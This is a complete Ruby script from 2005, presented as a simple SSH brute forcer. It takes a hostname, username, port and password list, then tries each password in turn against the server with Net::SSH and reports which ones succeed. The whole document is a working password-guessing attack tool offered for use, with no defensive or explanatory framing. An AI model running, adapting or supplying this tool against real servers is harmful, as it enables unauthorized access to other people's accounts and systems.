#!/usr/bin/env ruby # # author: nein # date: 2005 # desc: simple ssh brute forcer # requires net::ssh # note: changes made on dec 8th, 2005 # i messed up and forgot to actually do something with # user-supplied ports, my apologies. works now. when i # get some free time i'll add multiple threads and the # reading in of multiple usernames require 'net/ssh' require 'getoptlong' usage = %{ Usage: #{$0} -h -u -l -p --host, -h hostname --user, -u username --list, -l passfile --port, -p port } opts = GetoptLong.new( [ "--host", "-h", GetoptLong::OPTIONAL_ARGUMENT ], [ "--user", "-u", GetoptLong::OPTIONAL_ARGUMENT ], [ "--list", "-l", GetoptLong::OPTIONAL_ARGUMENT ], [ "--port", "-p", GetoptLong::OPTIONAL_ARGUMENT ]) hostName,data,pass,targetPort,userName,passFile = nil opts.each { |opt, arg| case opt when '--host' hostName = arg when '--user' userName = arg when '--list' passFile = arg when '--port' targetPort = arg end } if !hostName || !userName || !passFile puts usage exit end if !targetPort targetPort = 22 end data = File.read(passFile) class Attempt def session(hostName,targetPort,userName,line) begin state = Net::SSH.start( hostName, :password=>line, :port=>targetPort, :username=>userName ) if state.open? puts "Authentication successful with password: #{line}" end rescue Net::SSH::AuthenticationFailed # If you don't want to be annoyed by login failures, feel # free to edit this so that it only reports successful logins puts "Authentication failed with password: #{line}" end end end att = Attempt.new data.each do |line| line = line.chomp att.session(hostName,targetPort,userName,line) end